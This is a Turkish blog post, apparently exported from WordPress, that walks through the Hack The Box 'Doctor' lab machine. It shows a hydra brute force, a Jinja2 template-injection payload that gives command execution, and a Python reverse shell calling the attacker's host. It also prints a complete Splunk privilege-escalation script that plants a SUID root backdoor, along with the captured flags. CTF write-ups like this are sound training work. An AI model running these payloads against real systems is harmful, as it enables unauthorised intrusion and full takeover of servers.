{"id":1514,"date":"2021-08-15T22:04:28","date_gmt":"2021-08-15T22:04:28","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1514"},"modified":"2021-08-15T22:04:28","modified_gmt":"2021-08-15T22:04:28","slug":"doctor","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/08\/15\/doctor\/","title":{"rendered":"Doctor"},"content":{"rendered":"\n\n\n\n\n
Makine Ad\u0131<\/th>\nSeviye<\/th>\nOS<\/th>\nLogo<\/th>\n<\/tr>\n<\/thead>\n
Doctor<\/a> - HTB<\/td>\nOrta<\/td>\nLinux<\/td>\n\"\"<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Walkthrough<\/h2>\n

nmap taramas\u0131 ile ba\u015flayal\u0131m.<\/p>\n

\nPORT     STATE SERVICE  VERSION\n22\/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)\n|   256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)\n|_  256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)\n80\/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))\n|_http-server-header: Apache\/2.4.41 (Ubuntu)\n|_http-title: Doctor\n8089\/tcp open  ssl\/http Splunkd httpd\n| http-robots.txt: 1 disallowed entry \n|_\/\n|_http-server-header: Splunkd\n|_http-title: splunkd\n| ssl-cert: Subject: commonName=SplunkServerDefaultCert\/organizationName=SplunkUser\n| Not valid before: 2020-09-06T15:57:27\n|_Not valid after:  2023-09-06T15:57:27\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n<\/code><\/pre>\n
8089'da splunk'u buldu ve internette exploit aramaya ba\u015flad\u0131m. \u0130nternette buldu\u011fum yaz\u0131lara g\u00f6re bir credential ele ge\u00e7irebilirsem direkt olarak root olabilirim. Bu y\u00fczden hydra ile ilk i\u015fim basic authentication bruteforce sald\u0131rs\u0131 yapmak oldu ancak ba\u015far\u0131l\u0131 olamad\u0131m.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/htb\/Linux\/Doctor]\n\u2514\u2500# hydra -l admin -P \/usr\/share\/wordlists\/rockyou.txt -s 8089 10.10.10.209 https-get \/services\nHydra v9.1 (c) 2020 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2021-08-15 06:20:05\n[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, .\/hydra.restore\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1\/p:14344399), ~896525 tries per task\n[DATA] attacking http-gets:\/\/10.10.10.209:8089\/services\n[STATUS] 2024.00 tries\/min, 2024 tries in 00:01h, 14342375 to do in 118:07h, 16 active\n[STATUS] 1931.33 tries\/min, 5794 tries in 00:03h, 14338605 to do in 123:45h, 16 active\n[STATUS] 1931.00 tries\/min, 13517 tries in 00:07h, 14330882 to do in 123:42h, 16 active\n[STATUS] 2020.67 tries\/min, 30310 tries in 00:15h, 14314089 to do in 118:04h, 16 active\n[STATUS] 2143.39 tries\/min, 66445 tries in 00:31h, 14277954 to do in 111:02h, 16 active\n[STATUS] 2182.70 tries\/min, 102587 tries in 00:47h, 14241812 to do in 108:45h, 16 active\n[STATUS] 2168.06 tries\/min, 136588 tries in 01:03h, 14207811 to do in 109:14h, 16 active\n[STATUS] 2132.14 tries\/min, 168439 tries in 01:19h, 14175960 to do in 110:49h, 16 active\n[STATUS] 2132.32 tries\/min, 202570 tries in 01:35h, 14141829 to do in 110:33h, 16 active\n[STATUS] 2099.89 tries\/min, 233088 tries in 01:51h, 14111311 to do in 112:01h, 16 active\n[STATUS] 2103.10 tries\/min, 267094 tries in 02:07h, 14077305 to do in 111:34h, 16 active\n[STATUS] 2104.71 tries\/min, 300973 tries in 02:23h, 14043426 to do in 111:13h, 16 active\n[STATUS] 2093.28 tries\/min, 332831 tries in 02:39h, 14011568 to do in 111:34h, 16 active\n[STATUS] 2100.80 tries\/min, 367640 tries in 02:55h, 13976759 to do in 110:54h, 16 active\n[STATUS] 2102.37 tries\/min, 401553 tries in 03:11h, 13942846 to do in 110:32h, 16 active\n[STATUS] 2106.81 tries\/min, 436110 tries in 03:27h, 13908289 to do in 110:02h, 16 active\n[STATUS] 2108.53 tries\/min, 470203 tries in 03:43h, 13874196 to do in 109:41h, 16 active\n[STATUS] 2102.62 tries\/min, 502526 tries in 03:59h, 13841873 to do in 109:44h, 16 active\n[STATUS] 2105.64 tries\/min, 536937 tries in 04:15h, 13807462 to do in 109:18h, 16 active\n[STATUS] 2094.81 tries\/min, 567694 tries in 04:31h, 13776705 to do in 109:37h, 16 active\n[STATUS] 2097.64 tries\/min, 602023 tries in 04:47h, 13742376 to do in 109:12h, 16 active\n[STATUS] 2102.47 tries\/min, 637047 tries in 05:03h, 13707352 to do in 108:40h, 16 active\n[STATUS] 2102.89 tries\/min, 670821 tries in 05:19h, 13673578 to do in 108:23h, 16 active\n[STATUS] 2094.88 tries\/min, 701786 tries in 05:35h, 13642613 to do in 108:33h, 16 active\n<\/code><\/pre>\n
Bunun \u00fczerine 80.deki web uygulamas\u0131na bakmaya ba\u015flad\u0131m. \u0130lgi \u00e7ekici hi\u00e7 bir \u015fey yoktu. ancak bir domain yakalad\u0131m. nikto, dirb taralamalar\u0131nda bir \u015fey \u00e7\u0131kmay\u0131nca hosts dosyam\u0131 g\u00fcncelledim ve o \u015fekilde deneme yapt\u0131m.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# cat \/etc\/hosts                                                   \n127.0.0.1       localhost\n127.0.1.1       kali\n10.10.10.209    doctors.htb\n# The following lines are desirable for IPv6 capable hosts\n::1     localhost ip6-localhost ip6-loopback\nff02::1 ip6-allnodes\nff02::2 ip6-allrouters\n<\/code><\/pre>\n
doctors.htb<\/strong> domaini ile ilerledi\u011fimde kar\u015f\u0131ma farkl\u0131 bir site \u00e7\u0131kt\u0131. Sayfan\u0131n kaynak kodlar\u0131n\u0131 kontrol ederken yorum sat\u0131r\u0131na al\u0131nm\u0131\u015f bir k\u0131s\u0131m g\u00f6rd\u00fcm.<\/p>\n
...\n <div class="container">\n          <a class="navbar-brand mr-4" href="\/">Doctor Secure Messaging<\/a>\n          <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarToggle" aria-controls="navbarToggle" aria-expanded="false" aria-label="Toggle navigation">\n            <span class="navbar-toggler-icon"><\/span>\n          <\/button>\n          <div class="collapse navbar-collapse" id="navbarToggle">\n            <div class="navbar-nav mr-auto">\n              <a class="nav-item nav-link" href="\/home">Home<\/a>\n              <!--archive still under beta testing<a class="nav-item nav-link" href="\/archive">Archive<\/a>-->\n            <\/div>\n            <!-- Navbar Right Side -->\n            <div class="navbar-nav">\n\n                <a class="nav-item nav-link" href="\/post\/new">New Message<\/a>\n                <a class="nav-item nav-link" href="\/account">Account<\/a>\n...<\/code><\/pre>\n
Sayafa i\u00e7erisinde bir \u00fcyelik olu\u015fturdum ve daha sonra bir mesaj ekledim. http:\/\/doctors.htb\/archive<\/a><\/strong> sayfas\u0131na gitti\u011fimde eklemi\u015f oldu\u011fum mesajlar\u0131n ba\u015fl\u0131klar\u0131 buraya geliyordu.<\/p>\n
    <?xml version="1.0" encoding="UTF-8" ?>\n    <rss version="2.0">\n    <channel>\n    <title>Archive<\/title>\n    <item><title>Ba\u015fl\u0131k1<\/title><\/item>\n\n            <\/channel>\n<\/code><\/pre>\n
Client side bir \u015fey bu a\u015famada i\u015fimize yaramaz. Bunun i\u00e7in akl\u0131ma Server Side Template Injection geldi. https:\/\/book.hacktricks.xyz\/pentesting-web\/ssti-server-side-template-injection<\/a> adresinde bu konu \u00e7ok g\u00fczel a\u00e7\u0131klan\u0131yor.  Takip etmemiz gereken map a\u015fa\u011f\u0131daki g\u00f6rselde verilmi\u015ftir.<\/p>\n
\"\"<\/a><\/p>\n
S\u0131ras\u0131yla bu payloadlar\u0131 deneyece\u011fiz ve olmas\u0131 ya da olmamas\u0131 haline g\u00f6re arkadaki teknolojiyi tespit edebiliriz.<\/p>\n
Mesaj eklerken (http:\/\/doctors.htb\/post\/2<\/a>) ${7*7}<\/code> dedi\u011fimde a\u015fa\u011f\u0131daki gibi cevap ald\u0131m.<\/p>\n
<?xml version="1.0" encoding="UTF-8" ?>\n    <rss version="2.0">\n    <channel>\n    <title>Archive<\/title>\n    <item><title>${7*7}<\/title><\/item><\/code><\/pre>\n
Bunun \u00fczerine {{7*7}}<\/code> ifadesini denedim.<\/p>\n
    <?xml version="1.0" encoding="UTF-8" ?>\n    <rss version="2.0">\n    <channel>\n    <title>Archive<\/title>\n    <item><title>${7*7}<\/title><\/item>\n\n            <\/channel>\n            <item><title>49<\/title><\/item>\n\n            <\/channel>\n<\/code><\/pre>\n
Harika bu \u015fekilde arkadaki teknoloji Jinja2 ya da Twig<\/strong> ikilisinden biri. {{7*'7'}} = 7777777<\/code> payload\u0131n\u0131 g\u00f6nderdi\u011fimde teknolojinin Jinja2<\/code> oldu\u011funu anlad\u0131m. Bunun \u00fczerine bir web shell olu\u015ftacak payload g\u00f6nderdim.<\/p>\n
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}<\/code><\/pre>\n
Yukar\u0131daki payload\u0131n http iste\u011fi a\u015fa\u011f\u0131da verilmi\u015ftir.<\/p>\n
POST \/post\/new HTTP\/1.1\nHost: doctors.htb\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 557\nOrigin: http:\/\/doctors.htb\nConnection: close\nReferer: http:\/\/doctors.htb\/post\/new\nCookie: session=.eJwljjFuBDEIAP_iOgUGDOY-s8IYlChSIu3eVVH-npVSzjQzP-2oM6_39nier3xrx8dujyY-RXTjBkfutaSHB_UZy3SOiJydx6KYzACK3o1jZ9JWmdudFk9cAeo-qQxcRqAUbDb0MEiWIWOpKMVKWL0XS0jZLmQjhXaPvK48_2_oxrjOOp7fn_l1iztfxEMrhDDUIFzN-6DsigpuQKEbtP3-AeVCPrQ.YRlaTA.M-X2UHRFlPLyK-ZlBmqbkGy8M68\nUpgrade-Insecure-Requests: 1\n\ntitle=%7B%25+for+x+in+%28%29.__class__.__base__.__subclasses__%28%29+%25%7D%7B%25+if+%22warning%22+in+x.__name__+%25%7D%7B%7Bx%28%29._module.__builtins__%5B%27__import__%27%5D%28%27os%27%29.popen%28request.args.input%29.read%28%29%7D%7D%7B%25endif%25%7D%7B%25endfor%25%7D&content=%7B%25+for+x+in+%28%29.__class__.__base__.__subclasses__%28%29+%25%7D%7B%25+if+%22warning%22+in+x.__name__+%25%7D%7B%7Bx%28%29._module.__builtins__%5B%27__import__%27%5D%28%27os%27%29.popen%28request.args.input%29.read%28%29%7D%7D%7B%25endif%25%7D%7B%25endfor%25%7D&submit=Post\n<\/code><\/pre>\n
http:\/\/doctors.htb\/archive?input=ls<\/a> -al<\/strong> \u015feklinde istek att\u0131\u011f\u0131mda ald\u0131\u011f\u0131m cevap a\u015fa\u011f\u0131daki gibiydi.<\/p>\n
\n    <?xml version="1.0" encoding="UTF-8" ?>\n    <rss version="2.0">\n    <channel>\n    <title>Archive<\/title>\n    <item><title>total 48\ndrwxr-xr-x 6 web  web  4096 Sep 28  2020 .\ndrwxr-xr-x 4 root root 4096 Sep 19  2020 ..\nlrwxrwxrwx 1 web  web     9 Jul 26  2020 .bash_history -> \/dev\/null\n-rw-r--r-- 1 web  web   220 Jul 20  2020 .bash_logout\n-rw-r--r-- 1 web  web  3771 Jul 20  2020 .bashrc\ndrwxr-xr-x 3 web  web  4096 Sep 22  2020 blog\n-rwxrwxr-x 1 web  web   135 Jul 26  2020 blog.sh\ndrwxrwxr-x 5 web  web  4096 Jul 27  2020 .cache\ndrwxr-xr-x 4 web  web  4096 Jul 27  2020 .config\ndrwxrwxr-x 5 web  web  4096 Jul 26  2020 .local\n-rw-r--r-- 1 web  web   807 Jul 20  2020 .profile\n-rw------- 1 web  web   177 Jul 27  2020 .python_history\n-rw-rw-r-- 1 web  web    66 Jul 26  2020 .selected_editor\n<\/title><\/item>\n\n            <\/channel><\/code><\/pre>\n
Bunun \u00fczerine python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.17",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("\/bin\/sh")'<\/code> payload\u0131n\u0131 g\u00f6nderdim ve reverse ald\u0131m.
\n(http:\/\/doctors.htb\/archive?input=python3%20-c%20%27import%20socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.17%22,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(%22\/bin\/sh%22)%27<\/a>)<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# nc -lvp 4444\nlistening on [any] 4444 ...\nconnect to [10.10.14.17] from doctors.htb [10.10.10.209] 38894\n$ id\nid\nuid=1001(web) gid=1001(web) groups=1001(web),4(adm)\n$ \n<\/code><\/pre>\n
Bu noktadan sonra amac\u0131m asl\u0131nda bir credential elde etmek. Dedi\u011fim gibi credential elde ettikten sonra Splunk ile root olma ihtimalim olabilir. Linpeas<\/code> ile passwd anahtar kelimesi ge\u00e7en b\u00fct\u00fcn dosyalar g\u00f6zden ge\u00e7irebiliriz. \u0130lk i\u015fim sunucuya linpeas y\u00fcklemek oldu ve sonras\u0131nda analiz ettim. Linpeas benim i\u00e7in log dosyalar\u0131nda password buldu.<\/p>\n
\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Finding passwords inside logs (limit 70)\n10.10.14.17 - - [15\/Aug\/2021:20:21:57 +0200] "GET \/archive?input=pwd HTTP\/1.1" 200 278 "-" "curl\/7.74.0"                           \n:10.10.14.4 - - [05\/Sep\/2020:11:17:34 +2000] "POST \/reset_password?email=Guitar123" 500 453 "http:\/\/doctor.htb\/reset_password"<\/code><\/pre>\n
\n$ su shaun\nsu shaun\nPassword: Guitar123\n\nshaun@doctor:\/tmp$ \nshaun@doctor:~$ cat user.txt\ncat user.txt\n3857d6dc8b46c579792ec53887373aef<\/code><\/pre>\n
Daha sonras\u0131nda https:\/\/raw.githubusercontent.com\/tevora-threat\/splunk_local_privesc\/master\/spelunker.sh<\/a> dosyas\u0131n\u0131 kalime indirdim. Splunk ile local priv yapmay\u0131 deneyece\u011fim. Ancak i\u00e7erisine bakt\u0131\u011f\u0131mda basic authentiation i\u00e7in default credleri kullanm\u0131\u015f. shaun<\/strong> kullan\u0131\u0131s\u0131 ile web \u00fczerinden giri\u015f yapmay\u0131 denedi\u011fimde ba\u015far\u0131l\u0131 oldum. Burp ile iste\u011fi yakalad\u0131m ve burdaki basic authentication base64'lerini indirdi\u011fim exploittekiyle yer g\u00fcncelledim. A\u015fa\u011f\u0131da giri\u015f yaparken kulland\u0131\u011f\u0131m istek var.<\/p>\n
GET \/services HTTP\/1.1\nHost: 10.10.10.209:8089\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nReferer: https:\/\/10.10.10.209:8089\/v10\/\nUpgrade-Insecure-Requests: 1\nAuthorization: Basic c2hhdW46R3VpdGFyMTIz\n<\/code><\/pre>\n
A\u015fa\u011f\u0131da ise g\u00fcncelledi\u011fim exloit var.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/htb\/Linux\/Doctor]\n\u2514\u2500# cat .\/spelunker.sh       \necho\necho "[!] SPLUNK LOCAL PRIVESC [!]"\necho "[!] This tool assumes the creds are admin:changeme"\necho "[!] and the port is 8089"\necho\n\necho "[*] Creating a tmp workspace and moving there..."\nmkdir -p \/tmp\/.tester\ncd \/tmp\/.tester\n\necho\necho "[*] Creating the splunk app..."\nmkdir -p \/tmp\/.tester\/APPY\/bin\nmkdir -p \/tmp\/.tester\/APPY\/local\necho "[script:\/\/.\/bin\/pay.sh]" >> \/tmp\/.tester\/APPY\/local\/inputs.conf\necho "disabled = false" >> \/tmp\/.tester\/APPY\/local\/inputs.conf\necho "index = default" >> \/tmp\/.tester\/APPY\/local\/inputs.conf\necho "interval = 10" >> \/tmp\/.tester\/APPY\/local\/inputs.conf\necho "sourcetype = test" >> \/tmp\/.tester\/APPY\/local\/inputs.conf\n\necho\necho "[*] Creating the payload..."\n# THIS CREATES A SUID SHELL BACKDOOR\n# EDIT THIS IF YOU WANT TO RUN A DIFFERENT PAYLOAD\n\necho "mkdir -p \/tmp\/.tester\/bin" >> \/tmp\/.tester\/APPY\/bin\/pay.sh\necho "chmod 611 \/tmp\/.tester\/bin" >> \/tmp\/.tester\/APPY\/bin\/pay.sh\necho "cp \/bin\/sh \/tmp\/.tester\/bin\/shdoor" >> \/tmp\/.tester\/APPY\/bin\/pay.sh\necho "chmod 777 \/tmp\/.tester\/bin\/shdoor" >> \/tmp\/.tester\/APPY\/bin\/pay.sh\necho "chmod u+s \/tmp\/.tester\/bin\/shdoor" >> \/tmp\/.tester\/APPY\/bin\/pay.sh\nchmod 777 \/tmp\/.tester\/APPY\/bin\/pay.sh\n\necho\necho "Tarballing the App and removing temp files..."\ntar cvf tmpAPP.tar .\/APPY\nchmod 777 tmpAPP.tar\nrm -rf .\/APPY\n\n# NO ERROR CHECKING YET\necho "[*] App should be created..."\necho\n\necho\necho "[*] Installing the malicious splunk app...."\ncurl -i -s -k  -X $'POST' \\\n             -H $'Host: 127.0.0.1:8089' -H $'Connection: close' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: *\/*' -H $'User-Agent: python-requests\/2.18.4' -H $'Content-Length: 60' -H $'Content-Type: application\/x-www-form-urlencoded' -H $'Authorization: Basic c2hhdW46R3VpdGFyMTIz' \\\n                 --data-binary $'update=True&name=%2Ftmp%2F.tester%2FtmpAPP.tar&filename=True' \\\n                     $'https:\/\/127.0.0.1:8089\/services\/apps\/local\/'\n\necho \necho \necho\nsleep 3\necho\necho\necho\necho "[*] Removing the malicious splunk app..."\ncurl -i -s -k  -X $'DELETE' \\\n            -H $'Host: 127.0.0.1:8089' -H $'Connection: close' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: *\/*' -H $'User-Agent: python-requests\/2.18.4' -H $'Content-Length: 0' -H $'Authorization: Basic c2hhdW46R3VpdGFyMTIz' \\\n                $'https:\/\/127.0.0.1:8089\/services\/apps\/local\/APPY'\n\necho\necho\necho\n\necho "[!] If all went well run \/tmp\/.tester\/bin\/shdoor -p for a root shell"\necho "[!] Run whoami if your prompt didn't change..."\necho\necho "[!] DELETE THE .tester DIRECTORY AS ROOT WHEN YOU'RE DONE! [!]"\n<\/code><\/pre>\n
Bunu kar\u015f\u0131 makineye att\u0131m ve \u00e7al\u0131\u015ft\u0131rd\u0131m.<\/p>\n
shaun@doctor:\/tmp$ wget http:\/\/10.10.14.17\/spelunker.sh\nwget http:\/\/10.10.14.17\/spelunker.sh\n--2021-08-15 22:16:26--  http:\/\/10.10.14.17\/spelunker.sh\nConnecting to 10.10.14.17:80... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 2502 (2,4K) [text\/x-sh]\nSaving to: \u2018spelunker.sh\u2019\n\nspelunker.sh        100%[===================>]   2,44K  --.-KB\/s    in 0s      \n\n2021-08-15 22:16:27 (141 MB\/s) - \u2018spelunker.sh\u2019 saved [2502\/2502]\n\nshaun@doctor:\/tmp$ chmod 777 spelunker.sh\nchmod 777 spelunker.sh\n<\/code><\/pre>\n
shaun@doctor:\/tmp$ .\/spelunker.sh\n.\/spelunker.sh\n\n[!] SPLUNK LOCAL PRIVESC [!]\n[!] This tool assumes the creds are admin:changeme\n[!] and the port is 8089\n\n[*] Creating a tmp workspace and moving there...\n\n[*] Creating the splunk app...\n\n[*] Creating the payload...\n\nTarballing the App and removing temp files...\n.\/APPY\/\n.\/APPY\/bin\/\n.\/APPY\/bin\/pay.sh\n.\/APPY\/local\/\n.\/APPY\/local\/inputs.conf\n[*] App should be created...\n\n[*] Installing the malicious splunk app....\nHTTP\/1.1 201 Created\nDate: Sun, 15 Aug 2021 20:16:33 GMT\nExpires: Thu, 26 Oct 1978 00:00:00 GMT\nCache-Control: no-store, no-cache, must-revalidate, max-age=0\nContent-Type: text\/xml; charset=UTF-8\nX-Content-Type-Options: nosniff\nContent-Length: 4342\nVary: Cookie, Authorization\nConnection: Close\nX-Frame-Options: SAMEORIGIN\nServer: Splunkd\n\n<?xml version="1.0" encoding="UTF-8"?>\n<!--This is to override browser formatting; see server.conf[httpServer] to disable. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .-->\n<?xml-stylesheet type="text\/xml" href="\/static\/atom.xsl"?>\n<feed xmlns="http:\/\/www.w3.org\/2005\/Atom" xmlns:s="http:\/\/dev.splunk.com\/ns\/rest" xmlns:opensearch="http:\/\/a9.com\/-\/spec\/opensearch\/1.1\/">\n  <title>localapps<\/title>\n  <id>https:\/\/127.0.0.1:8089\/services\/apps\/local<\/id>\n  <updated>2021-08-15T22:16:33+02:00<\/updated>\n  <generator build="a1a6394cc5ae" version="8.0.5"\/>\n  <author>\n    <name>Splunk<\/name>\n  <\/author>\n  <link href="\/services\/apps\/local\/_new" rel="create"\/>\n  <link href="\/services\/apps\/local\/_reload" rel="_reload"\/>\n  <opensearch:totalResults>1<\/opensearch:totalResults>\n  <opensearch:itemsPerPage>30<\/opensearch:itemsPerPage>\n  <opensearch:startIndex>0<\/opensearch:startIndex>\n  <s:messages\/>\n  <entry>\n    <title>APPY<\/title>\n    <id>https:\/\/127.0.0.1:8089\/servicesNS\/nobody\/system\/apps\/local\/APPY<\/id>\n    <updated>1970-01-01T01:00:00+01:00<\/updated>\n    <link href="\/servicesNS\/nobody\/system\/apps\/local\/APPY" rel="alternate"\/>\n    <author>\n      <name>nobody<\/name>\n    <\/author>\n    <link href="\/servicesNS\/nobody\/system\/apps\/local\/APPY" rel="list"\/>\n    <link href="\/servicesNS\/nobody\/system\/apps\/local\/APPY\/_reload" rel="_reload"\/>\n    <link href="\/servicesNS\/nobody\/system\/apps\/local\/APPY" rel="edit"\/>\n    <link href="\/servicesNS\/nobody\/system\/apps\/local\/APPY" rel="remove"\/>\n    <link href="\/servicesNS\/nobody\/system\/apps\/local\/APPY\/package" rel="package"\/>\n    <content type="text\/xml">\n      <s:dict>\n        <s:key name="check_for_updates">1<\/s:key>\n        <s:key name="configured">0<\/s:key>\n        <s:key name="core">0<\/s:key>\n        <s:key name="disabled">0<\/s:key>\n        <s:key name="eai:acl">\n          <s:dict>\n            <s:key name="app">system<\/s:key>\n            <s:key name="can_change_perms">1<\/s:key>\n            <s:key name="can_list">1<\/s:key>\n            <s:key name="can_share_app">1<\/s:key>\n            <s:key name="can_share_global">1<\/s:key>\n            <s:key name="can_share_user">0<\/s:key>\n            <s:key name="can_write">1<\/s:key>\n            <s:key name="modifiable">1<\/s:key>\n            <s:key name="owner">nobody<\/s:key>\n            <s:key name="perms">\n              <s:dict>\n                <s:key name="read">\n                  <s:list>\n                    <s:item>*<\/s:item>\n                  <\/s:list>\n                <\/s:key>\n                <s:key name="write">\n                  <s:list>\n                    <s:item>*<\/s:item>\n                  <\/s:list>\n                <\/s:key>\n              <\/s:dict>\n            <\/s:key>\n            <s:key name="removable">0<\/s:key>\n            <s:key name="sharing">app<\/s:key>\n          <\/s:dict>\n        <\/s:key>\n        <s:key name="install_source_checksum">96d72ec1f36a6309f295ad8f425b2e83def957e9<\/s:key>\n        <s:key name="label">APPY<\/s:key>\n        <s:key name="location">\/opt\/splunkforwarder\/etc\/apps\/APPY<\/s:key>\n        <s:key name="managed_by_deployment_client">0<\/s:key>\n        <s:key name="name">APPY<\/s:key>\n        <s:key name="show_in_nav">1<\/s:key>\n        <s:key name="source_location">\/opt\/splunkforwarder\/etc\/apps\/APPY<\/s:key>\n        <s:key name="state_change_requires_restart">0<\/s:key>\n        <s:key name="status">installed<\/s:key>\n        <s:key name="visible">0<\/s:key>\n      <\/s:dict>\n    <\/content>\n  <\/entry>\n<\/feed>\n\n[*] Removing the malicious splunk app...\nHTTP\/1.1 200 OK\nDate: Sun, 15 Aug 2021 20:16:36 GMT\nExpires: Thu, 26 Oct 1978 00:00:00 GMT\nCache-Control: no-store, no-cache, must-revalidate, max-age=0\nContent-Type: text\/xml; charset=UTF-8\nX-Content-Type-Options: nosniff\nContent-Length: 1797\nVary: Cookie, Authorization\nConnection: Close\nX-Frame-Options: SAMEORIGIN\nServer: Splunkd\n\n<?xml version="1.0" encoding="UTF-8"?>\n<!--This is to override browser formatting; see server.conf[httpServer] to disable. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .-->\n<?xml-stylesheet type="text\/xml" href="\/static\/atom.xsl"?>\n<feed xmlns="http:\/\/www.w3.org\/2005\/Atom" xmlns:s="http:\/\/dev.splunk.com\/ns\/rest" xmlns:opensearch="http:\/\/a9.com\/-\/spec\/opensearch\/1.1\/">\n  <title>localapps<\/title>\n  <id>https:\/\/127.0.0.1:8089\/services\/apps\/local<\/id>\n  <updated>2021-08-15T22:16:36+02:00<\/updated>\n  <generator build="a1a6394cc5ae" version="8.0.5"\/>\n  <author>\n    <name>Splunk<\/name>\n  <\/author>\n  <link href="\/services\/apps\/local\/_new" rel="create"\/>\n  <link href="\/services\/apps\/local\/_reload" rel="_reload"\/>\n  <opensearch:totalResults>0<\/opensearch:totalResults>\n  <opensearch:itemsPerPage>30<\/opensearch:itemsPerPage>\n  <opensearch:startIndex>0<\/opensearch:startIndex>\n  <s:messages\/>\n<\/feed>\n\n[!] If all went well run \/tmp\/.tester\/bin\/shdoor -p for a root shell\n[!] Run whoami if your prompt didn't change...\n\n[!] DELETE THE .tester DIRECTORY AS ROOT WHEN YOU'RE DONE! [!]\n<\/code><\/pre>\n
shaun@doctor:\/tmp$ id\nid\nuid=1002(shaun) gid=1002(shaun) groups=1002(shaun)\n$ \/tmp\/.tester\/bin\/shdoor -p\n\/tmp\/.tester\/bin\/shdoor -p\n# id\nid\nuid=1002(shaun) gid=1002(shaun) euid=0(root) groups=1002(shaun)\n# cd \/root\ncd \/root\n# ls\nls\nroot.txt\n# cat root.txt \ncat root.txt\n74f6ab1181115f195f58f18e4e2ba485\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Makine Ad\u0131 Seviye OS Logo Doctor – HTB Orta Linux Walkthrough nmap taramas\u0131 ile ba\u015flayal\u0131m. PORT STATE SERVICE VERSION 22\/tcp open ssh OpenSSH 8.2p1 Ubuntu…<\/p>\n
